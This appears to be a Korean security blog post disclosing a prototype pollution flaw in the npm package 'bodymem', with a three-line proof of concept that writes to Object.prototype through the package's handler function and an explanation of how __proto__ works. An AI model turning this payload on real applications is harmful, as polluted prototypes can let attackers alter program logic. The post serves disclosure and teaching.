Target : Bodymem
Description
Prototye 페이로드를 이용해서 Object.prototype의 속성을 추가하거나 수정하도록 속일 수 있는 핸들러 기능을 통해 프로토 타입 오염이 발생한다.
* CVE-2019-10792 수정 코드에서 발생
PoC
const x = require("bodymem");
x.handler(["__proto__"], "polluted", "success");
console.log({}.polluted)
관련 링크
https://security.snyk.io/vuln/SNYK-JS-BODYMEN-2342623
https://jjy-security.tistory.com/30
https://medium.com/@bluesh55/javascript-prototype-%EC%9D%B4%ED%95%B4%ED%95%98%EA%B8%B0-f8e67c286b67
http://insanehong.kr/post/javascript-prototype/
https://velog.io/@h0ngwon/Javascript-proto-vs-prototype-%EC%B0%A8%EC%9D%B4
*Prototype Pollution
함수를 정의하면 Prototype Object가 생성되는데, 모든 객체는 __proto__를 통해 Prototype Object에 접근이 가능하다.
__proto__ 속성은 모든 객체가 가지고 있는 속성이고 Prototype Object를 가리키고 있다. (링크 개념)
새로운 객체를 만들더라도 __proto__ 속성은 Prototype Object를 가리키고 있다.
(새로운 객체에 찾고자 하는 속성이 없다면 Prototype Object의 속성에서 찾는다)
Prototype Object의 속성을 변경한다면 새로운 객체가 만들어 지더라도 변경된 속성을 참조할 수 있다.
'취약점.' 카테고리의 다른 글
'csv-plus' HTML Injection 취약점 #CVE-2022-21241 (0) | 2022.08.01 |
---|---|
'getgrav/grav' XSS 취약점 #CVE-2022-0268 (0) | 2022.07.17 |
'Drogon' Arbitray File Write 취약점 #CVE-2022-25297 (0) | 2022.07.09 |
댓글